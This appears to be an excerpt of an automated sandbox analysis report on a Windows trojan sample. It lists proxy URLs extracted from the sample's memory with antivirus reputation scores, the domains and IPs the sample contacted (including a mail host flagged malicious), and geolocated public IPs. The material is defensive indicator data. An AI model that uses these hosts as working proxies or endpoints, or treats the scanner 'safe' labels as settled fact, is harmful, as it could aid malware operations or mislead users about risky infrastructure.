http://201.77.108.64:999	1%	Virustotal		Browse
http://192.140.42.83:31511	8%	Virustotal		Browse
http://189.29.143.202:4153://proxy	0%	Avira URL Cloud	safe
http://178.49.14.57:3128://proxy	1%	Virustotal		Browse
http://190.14.215.130:8080://proxy	2%	Virustotal		Browse
http://196.216.13.36:5678	0%	Avira URL Cloud	safe
http://45.117.179.179:33164	0%	Avira URL Cloud	safe
http://161.97.170.209:13636://proxy	7%	Virustotal		Browse
http://154.12.253.232:25158	0%	Avira URL Cloud	safe
http://185.161.186.82:54321://proxy	1%	Virustotal		Browse
http://102.216.69.176:8080://proxy	0%	Avira URL Cloud	safe
http://36.92.111.49:52471://proxy	2%	Virustotal		Browse
http://64.202.186.2:4216	0%	Avira URL Cloud	safe
http://196.216.13.36:5678	2%	Virustotal		Browse
http://72.10.160.90:15265	0%	Avira URL Cloud	safe
http://150.230.207.167:80	0%	Avira URL Cloud	safe
http://192.169.244.80:41568://proxy	0%	Avira URL Cloud	safe
http://31.22.7.188:56981://proxy	0%	Avira URL Cloud	safe
http://162.0.220.234:8776://proxy	0%	Avira URL Cloud	safe
http://168.205.102.26:8080://proxy	0%	Avira URL Cloud	safe
http://103.141.109.143:8181://proxy	0%	Avira URL Cloud	safe
http://54.38.179.203:35032	0%	Avira URL Cloud	safe
http://178.79.165.164:55014	0%	Avira URL Cloud	safe
http://91.134.140.160:27207://proxy	0%	Avira URL Cloud	safe
http://190.242.126.170:999	0%	Avira URL Cloud	safe
http://72.10.160.170:5385://proxy	0%	Avira URL Cloud	safe
http://172.233.146.207:3128	0%	Avira URL Cloud	safe
http://117.54.114.101://proxy	0%	Avira URL Cloud	safe
http://190.120.254.233:999	0%	Avira URL Cloud	safe
http://202.12.80.11:83	0%	Avira URL Cloud	safe
http://41.242.69.196:5678://proxy	0%	Avira URL Cloud	safe
http://149.202.172.113	0%	Avira URL Cloud	safe
http://203.110.145.82:63128	0%	Avira URL Cloud	safe
http://149.28.141.180:65201	0%	Avira URL Cloud	safe
http://103.113.71.230:1080	0%	Avira URL Cloud	safe
http://152.32.132.220://proxy	0%	Avira URL Cloud	safe
http://162.214.163.137:7070://proxy	0%	Avira URL Cloud	safe
http://188.166.252.135:8080://proxy	0%	Avira URL Cloud	safe
http://51.210.45.148:3865	0%	Avira URL Cloud	safe
http://46.21.153.16:3128://proxy	0%	Avira URL Cloud	safe
http://31.43.52.176:41890://proxy	0%	Avira URL Cloud	safe
http://103.216.51.36:32650	0%	Avira URL Cloud	safe
http://149.126.101.162:8080://proxy	0%	Avira URL Cloud	safe
http://179.57.172.172:999	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ktxcomay.com.vn	222.255.238.159	true	false	0%, Virustotal, Browse	unknown
mail.supplyvan.xyz	199.188.206.65	true	true		unknown
github.com	140.82.113.4	true	false		high
ip-api.com	208.95.112.1	true	false		high
repository.gij.edu.gh	102.223.20.217	true	false		unknown
windowsupdatebg.s.llnwi.net	69.164.46.0	true	false	0%, Virustotal, Browse	unknown
heygirlisheeverythingyouwantedinaman.com	172.67.190.93	true	false	21%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.89.181.212:5678	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F66000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://188.164.196.31:49426	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://38.242.136.254:1970	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://183.89.45.167:8080://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	low
http://154.202.118.127:3128://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://5.252.23.220:3128	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://167.99.219.173:8118://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	low
http://176.113.73.99:3128	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://104.21.6.88:80	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://188.164.193.178:30744	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	false	11%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://111.224.213.165:8089://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://38.7.1.233:999	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC182000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC63E000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://192.248.166.13:8888	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://3.27.109.94:56781://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	low
https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D6315000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://147.45.40.15:30463://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://172.67.255.224://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://178.212.48.80:8080	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://51.77.65.164:31979	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCB1000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://41.65.251.85:1981://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	low
http://107.180.95.177:63951://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	low
http://46.101.19.131://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.28.121.58:3128://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE93000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	low
http://184.178.172.25:15291	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp	false	7%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://50.169.135.10:80	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://36.95.155.74:3126://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	low
http://200.108.234.105:8080://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	low
http://185.161.186.82:54321://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	low
http://178.49.14.57:3128://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA57000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	low
http://192.140.42.83:31511	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	false	8%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://201.77.108.64:999	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://190.14.215.130:8080://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	low
http://162.19.7.61:37013://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64BE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://161.97.170.209:13636://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	false	7%, Virustotal, Browse Avira URL Cloud: safe	low
http://36.92.111.49:52471://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	low
http://189.29.143.202:4153://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://196.216.13.36:5678	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://45.117.179.179:33164	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://154.12.253.232:25158	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://102.216.69.176:8080://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://64.202.186.2:4216	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C906D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://72.10.160.90:15265	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://150.230.207.167:80	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.169.244.80:41568://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://31.22.7.188:56981://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://162.0.220.234:8776://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://168.205.102.26:8080://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C81D6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.141.109.143:8181://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://54.38.179.203:35032	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8199000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C81C8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://178.79.165.164:55014	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.134.140.160:27207://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://190.242.126.170:999	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://72.10.160.170:5385://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C762A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://172.233.146.207:3128	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C81DB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://190.120.254.233:999	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://117.54.114.101://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://202.12.80.11:83	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://203.110.145.82:63128	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://41.242.69.196:5678://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://149.202.172.113	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://149.28.141.180:65201	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.113.71.230:1080	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://152.32.132.220://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA682000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://162.214.163.137:7070://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CD8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://188.166.252.135:8080://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://51.210.45.148:3865	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://46.21.153.16:3128://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://31.43.52.176:41890://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DF0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.216.51.36:32650	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC7C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://149.126.101.162:8080://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://179.57.172.172:999	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://198.12.253.117:32229	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://184.178.172.14:4145://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://221.153.92.39:80	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://184.22.4.109:4145://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://182.48.77.173:8674	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://37.187.143.172:47016://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://61.9.32.62:65535://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://14.241.182.44:5678	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C948B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9463000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.117.179.179:18701://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8446000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.29.90.66:32650	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://183.88.184.48:8080	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://72.37.216.68:4145	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.99.138.162://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.19.235.10	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://151.236.39.7:57248	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.137.218.161:83	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6EA1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E95000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://146.190.84.209:33091://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://51.81.186.179:51405://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://141.94.174.6:13718://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://188.164.193.178:12880://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://190.97.238.93:999://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD71000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://31.43.179.160:80	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83D6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://72.10.160.90:7481	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.165.155.165:1111	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://174.64.199.82:4145://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA57000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://72.195.114.169:4145x	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://20.193.135.5:80	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://157.230.226.230:1202://proxy	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://160.3.168.70:8080	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
5.42.81.57	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
93.171.243.253	unknown	Czech Republic	8870	OVDC-ASUA	false
173.209.66.178	unknown	United States	14860	AS-SMARTCOMUS	false
212.110.188.202	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
107.148.103.231	unknown	United States	54600	PEGTECHINCUS	false
24.230.33.96	unknown	United States	11232	MIDCO-NETUS	false
64.157.16.43	unknown	United States	3064	AFFINITY-FTLUS	false
50.169.37.50	unknown	United States	7922	COMCAST-7922US	false
182.160.100.156	unknown	Bangladesh	24323	AAMRA-NETWORKS-AS-APaamranetworkslimitedBD	false
103.216.51.36	unknown	Cambodia	135375	TCC-AS-APTodayCommunicationCoLtdKH	false
31.170.22.127	unknown	Latvia	43513	NANO-ASLV	false
103.131.18.194	unknown	Indonesia	138080	GMIS-AS-IDPTGlobalMediaIntiSemestaID	false
177.99.160.98	unknown	Brazil	18881	TELEFONICABRASILSABR	false
139.255.41.118	unknown	Indonesia	9905	LINKNET-ID-APLinknetASNID	false
66.70.235.23	unknown	Canada	16276	OVHFR	false
82.135.123.155	unknown	Germany	8767	MNET-ASGermanyDE	false
181.78.11.217	unknown	Argentina	52468	UFINETPANAMASAPA	false
89.168.121.175	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
45.227.193.166	unknown	Brazil	28146	MHNETTELECOMBR	false
171.240.108.159	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
181.78.11.218	unknown	Argentina	52468	UFINETPANAMASAPA	false
13.234.24.116	unknown	United States	16509	AMAZON-02US	false
41.190.233.61	unknown	Congo The Democratic Republic of The	37638	OrioncomCD	false
103.4.118.130	unknown	Bangladesh	38203	ADNTELECOMLTD-BDADNTelecomLtdBD	false
